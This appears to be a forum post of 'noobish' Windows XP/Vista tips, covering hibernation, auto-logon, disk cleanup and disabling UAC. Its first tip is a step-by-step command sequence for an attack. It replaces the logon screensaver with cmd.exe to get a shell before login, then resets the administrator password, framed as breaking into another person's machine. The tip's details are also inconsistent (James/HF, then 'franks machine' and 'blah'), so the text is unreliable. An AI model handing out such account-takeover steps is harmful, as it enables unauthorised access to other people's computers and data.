Some Noobish Windows Tips :)

Praveer

Cadet
In this thread i'll post some windows tips

TIP 1 :Hacking windows XP admin password (works on XP didn't try on vista/win7)

Log in to a limited account , open up cmd then enter that command :
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr * backsup logon.scr
copy cmd.exe temphack\cmd.exe * backsup cmd.exe
del logon.scr * deletes original logon.scr
rename cmd.exe logon.scr * renames cmd.exe to logon.scr
exit * quits dos
That command tells the computer to backup the command program and screensave file and edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

now enter those commands :
net user <admin account name here> password

Now if the Administrator Account is called James and you want the password HF enter this :
net user James HF
this changes the password on franks machine to blah and your in.

TIP 2 :Disable Hibernation in Windows Vista:
1. Log on as Administrator.
2. Start the Command Prompt and then type: powercfg -h off
3. Press Enter.

OR

1. Click Start > All Programs > and then right click on ‘Command Prompt’.
2. In the context menu choose ‘Run as administrator’.
3. If ‘User Account Control(UAC)’ prompts you to allow the action, click on Continue.
4. Follow Steps 2 and 3 given above.

TIP 3 :Auto-Logon in Win Vista
1. Click on Start and search netplwiz
2. In the User Accounts window, select the user name and then uncheck the ‘Users must enter a username and password to use this computer’ checkbox.
3. Click on ‘Apply’.
4. A new dialog box will be popped up and you will have to type in the password for your account. If your account is not protected with a password already, then leave it blank.
5. Click on OK
NOTE : I don't recommand this option if there are sniffers in your home


Tip 4 : Get free disk space by deleting hibernation file in winvista
Every time you put your PC on hibernation , it creates a file called ‘hiberfil.sys’. This file uses your entire physical memory and grows its size, every time you hibernate your system so if you need some disk space delete the file by following those options :
1. Click on Start, go to All Programs, then Accessories, choose System Tools, and then click on "Disk Cleanup".
2. You would be prompted to choose the drive you want to clean up. Then select the drive in which Windows Vista is installed and press OK.
3. Disk Cleanup will start scanning the hard drive and present you with a list of options.
4. Check "Hibernation File Cleaner", and then press OK.
5. When asked "Are you sure you want to permanently delete these files?" click on the Delete Files button.

Tip 5 : Disabling UAC ( User Account Control )
UAC is the new operating system's most universally reviled feature. Sure, it helps protect you, but it also annoys you to no end.
Go to Control Panel -> User Account and Family Safety > User Accounts, then click Turn User Account Control on or off.

Alternately, you can run the System Configuration Utility by typing msconfig in the search option in Start. When the tool runs, click the Tools tab and scroll down until you see Disable UAC. Highlight it and click the Launch button, then reboot. To turn it back on again, follow the same steps and choose Enable UAC.

Enjoy my tutorial :smiley:
 
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